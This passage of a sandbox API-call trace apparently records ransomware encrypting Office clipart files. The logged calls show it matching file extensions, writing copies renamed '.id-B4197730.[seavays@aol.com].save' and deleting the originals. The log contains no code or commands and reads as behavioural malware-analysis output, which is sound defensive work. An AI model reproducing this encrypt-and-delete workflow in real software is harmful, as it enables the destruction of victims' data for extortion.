(lpString1=".1cd", lpString2=".WMF") returned -1 [0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.050] lstrlenW (lpString=".jpg") returned 4 [0187.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.052] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=24982) returned 1 [0187.052] CloseHandle (hObject=0x530) returned 1 [0187.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 0x220 [0187.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.286] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.286] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0187.288] GetLastError () returned 0x0 [0187.288] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x6196, lpOverlapped=0x0) returned 1 [0187.291] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x61a0, lpOverlapped=0x0) returned 1 [0187.294] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0187.294] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0187.294] SetEndOfFile (hFile=0x558) returned 1 [0187.294] CloseHandle (hObject=0x558) returned 1 [0187.294] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.294] SetEndOfFile (hFile=0x530) returned 1 [0187.300] CloseHandle (hObject=0x530) returned 1 [0187.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.302] lstrlenW (lpString=".doc") returned 4 [0187.303] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.303] lstrlenW (lpString=".docx") returned 5 [0187.303] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0187.303] lstrlenW (lpString=".pdf") returned 4 [0187.303] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.303] lstrlenW (lpString=".xls") returned 4 [0187.303] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.303] lstrlenW (lpString=".xlsx") returned 5 [0187.303] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0187.303] lstrlenW (lpString=".ppt") returned 4 [0187.303] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.303] lstrlenW (lpString=".zip") returned 4 [0187.303] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.303] lstrlenW (lpString=".rar") returned 4 [0187.303] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.303] lstrlenW (lpString=".bz2") returned 4 [0187.303] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.303] lstrlenW (lpString=".7z") returned 3 [0187.303] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.303] lstrlenW (lpString=".dbf") returned 4 [0187.303] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.304] lstrlenW (lpString=".1cd") returned 4 [0187.304] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0187.304] lstrlenW (lpString=".jpg") returned 4 [0187.304] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.305] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=55554) returned 1 [0187.305] CloseHandle (hObject=0x530) returned 1 [0187.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 0x220 [0187.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.306] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.306] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0187.308] GetLastError () returned 0x0 [0187.308] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xd902, lpOverlapped=0x0) returned 1 [0187.313] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xd910, lpOverlapped=0x0) returned 1 [0187.316] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0187.316] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0187.316] SetEndOfFile (hFile=0x558) returned 1 [0187.316] CloseHandle (hObject=0x558) returned 1 [0187.316] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.316] SetEndOfFile (hFile=0x530) returned 1 [0187.321] CloseHandle (hObject=0x530) returned 1 [0187.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0187.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.594] lstrlenW (lpString=".doc") returned 4 [0187.594] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.594] lstrlenW (lpString=".docx") returned 5 [0187.594] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0187.594] lstrlenW (lpString=".pdf") returned 4 [0187.594] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.594] lstrlenW (lpString=".xls") returned 4 [0187.595] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.595] lstrlenW (lpString=".xlsx") returned 5 [0187.595] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0187.595] lstrlenW (lpString=".ppt") returned 4 [0187.595] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.595] lstrlenW (lpString=".zip") returned 4 [0187.595] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.595] lstrlenW (lpString=".rar") returned 4 [0187.595] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.595] lstrlenW (lpString=".bz2") returned 4 [0187.595] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.595] lstrlenW (lpString=".7z") returned 3 [0187.595] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.595] lstrlenW (lpString=".dbf") returned 4 [0187.595] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.595] lstrlenW (lpString=".1cd") returned 4 [0187.595] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0187.595] lstrlenW (lpString=".jpg") returned 4 [0187.595] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0188.422] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=32038) returned 1 [0188.422] CloseHandle (hObject=0x560) returned 1 [0188.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 0x220 [0188.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0188.945] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.945] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0188.946] GetLastError () returned 0x0 [0188.946] ReadFile (in: hFile=0x444, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x7d26, lpOverlapped=0x0) returned 1 [0188.952] WriteFile (in: hFile=0x534, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x7d30, lpOverlapped=0x0) returned 1 [0188.954] ReadFile (in: hFile=0x444, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0188.954] WriteFile (in: hFile=0x534, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0188.954] SetEndOfFile (hFile=0x534) returned 1 [0188.954] CloseHandle (hObject=0x534) returned 1 [0188.954] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.954] SetEndOfFile (hFile=0x444) returned 1 [0188.960] CloseHandle (hObject=0x444) returned 1 [0188.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.963] lstrlenW (lpString=".doc") returned 4 [0188.963] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0188.963] lstrlenW (lpString=".docx") returned 5 [0188.963] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0188.963] lstrlenW (lpString=".pdf") returned 4 [0188.963] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0188.963] lstrlenW (lpString=".xls") returned 4 [0188.963] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0188.963] lstrlenW (lpString=".xlsx") returned 5 [0188.963] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0188.963] lstrlenW (lpString=".ppt") returned 4 [0188.963] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.963] lstrlenW (lpString=".zip") returned 4 [0188.963] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0188.963] lstrlenW (lpString=".rar") returned 4 [0188.963] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0188.963] lstrlenW (lpString=".bz2") returned 4 [0188.963] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0188.963] lstrlenW (lpString=".7z") returned 3 [0188.963] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.964] lstrlenW (lpString=".dbf") returned 4 [0188.964] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.964] lstrlenW (lpString=".1cd") returned 4 [0188.964] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0188.964] lstrlenW (lpString=".jpg") returned 4 [0188.964] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0188.965] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=24392) returned 1 [0188.965] CloseHandle (hObject=0x444) returned 1 [0188.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 0x220 [0188.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0188.966] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0188.968] GetLastError () returned 0x0 [0188.968] ReadFile (in: hFile=0x444, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x5f48, lpOverlapped=0x0) returned 1 [0188.971] WriteFile (in: hFile=0x534, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x5f50, lpOverlapped=0x0) returned 1 [0188.973] ReadFile (in: hFile=0x444, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0188.973] WriteFile (in: hFile=0x534, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0188.973] SetEndOfFile (hFile=0x534) returned 1 [0188.973] CloseHandle (hObject=0x534) returned 1 [0188.973] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0188.973] SetEndOfFile (hFile=0x444) returned 1 [0189.000] CloseHandle (hObject=0x444) returned 1 [0189.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0190.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.125] lstrlenW (lpString=".doc") returned 4 [0190.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.126] lstrlenW (lpString=".docx") returned 5 [0190.126] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.126] lstrlenW (lpString=".pdf") returned 4 [0190.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.126] lstrlenW (lpString=".xls") returned 4 [0190.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.127] lstrlenW (lpString=".xlsx") returned 5 [0190.127] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.127] lstrlenW (lpString=".ppt") returned 4 [0190.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.127] lstrlenW (lpString=".zip") returned 4 [0190.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.127] lstrlenW (lpString=".rar") returned 4 [0190.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.127] lstrlenW (lpString=".bz2") returned 4 [0190.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.127] lstrlenW (lpString=".7z") returned 3 [0190.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.127] lstrlenW (lpString=".dbf") returned 4 [0190.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.127] lstrlenW (lpString=".1cd") returned 4 [0190.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0190.127] lstrlenW (lpString=".jpg") returned 4 [0190.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.448] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=25312) returned 1 [0190.448] CloseHandle (hObject=0x36c) returned 1 [0190.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 0x220 [0190.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0190.450] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.450] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.451] GetLastError () returned 0x0 [0190.452] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x62e0, lpOverlapped=0x0) returned 1 [0190.454] WriteFile (in: hFile=0x55c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x62f0, lpOverlapped=0x0) returned 1 [0190.458] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0190.458] WriteFile (in: hFile=0x55c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, 